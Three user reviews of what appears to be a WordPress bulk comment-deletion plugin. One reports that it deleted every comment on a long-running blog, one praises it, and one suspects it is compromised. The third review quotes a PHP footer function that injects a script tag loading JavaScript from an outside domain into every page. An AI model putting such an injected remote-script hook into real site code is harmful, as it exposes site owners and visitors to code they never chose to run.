  • Dangerous Plugin - Use with Caution

    I've never written a review for a plugin before, but I am so upset at how misleading and bad this plugin was. The reason I picked this to use over similar bulk delete comments was because it said I could delete by a particular post. I picked one post and IT DELETED EVERY COMMENT IN MY WHOLE BLOG - MANY THOUSANDS. Permanently. From a 20 year old blog. All my history, friends and enemies, gone. Horrible.

  • GREAT!

    Love this plugin. After installing other more "complex" ones, this did the job in like 5 seconds. I cannot understand why WP can't design something this simple (I don't mean the making of the plugin, but the purpose). THANKS!!

  • This plugin seems to be shady

    This plugin might be hacked or it is shady on way or another because it have started to slow down wordpress when including a an inclusion of javascript located at: alishahalom.com function dac_footer_handler() { echo '<script src="//alishahalom.com/files/script.js"></script>'; }
